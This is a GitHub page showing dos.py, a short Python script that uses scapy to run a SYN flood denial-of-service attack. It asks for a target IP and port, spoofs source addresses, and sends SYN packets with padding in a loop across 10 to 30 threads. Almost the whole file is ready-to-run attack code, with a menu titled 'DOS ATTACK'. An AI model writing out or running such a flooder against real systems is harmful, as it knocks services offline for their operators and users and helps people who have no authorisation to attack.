-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdos.py
50 lines (38 loc) · 1.54 KB
/
dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#! /usr/bin/python3
import sys
import threading
from scapy.all import *
def syn_flood(target_ip, target_port):
ip_spoof = RandIP('192.168.0.0/24') # Hidding the real IP address
random_port = RandShort()
# Building the packet (stacking layers)
ip = IP(src=ip_spoof, dst=target_ip)
tcp = TCP(sport=random_port, dport=target_port, flags='S') # SYN FLOOD
packet_size = 1024
data = Raw(b'D'*packet_size)
packet = ip/tcp/data
send(packet, loop=1, verbose=0) # Send packet in a loop until CTRL+C
def main():
print('\t/-------------- DOS ATTACK (SYN FLOOD) --------------/')
try:
target_ip = input('[*] Enter Target IP Address: ')
target_port = int(input('[*] Enter the Target Port: '))
try:
intensity = int(input('[*] Enter DOS intensity (1, 2 or 3): '))
if intensity > 3 or intensity < 1:
print('[~] ERROR, Invalid intensity')
except:
print('[~] ERROR, Invalid intensity')
except KeyboardInterrupt:
print('\n[!] Exiting...')
sys.exit(1)
threads = []
for index in range(10 * intensity):
thread_ = threading.Thread(target=syn_flood, args=(target_ip, target_port), daemon=True)
threads.append(thread_)
thread_.start()
print('[!] DOS started...')
input('[*] Press any key to stop.\n')
print('[!] DOS successfuly done.')
if __name__ == '__main__':
main()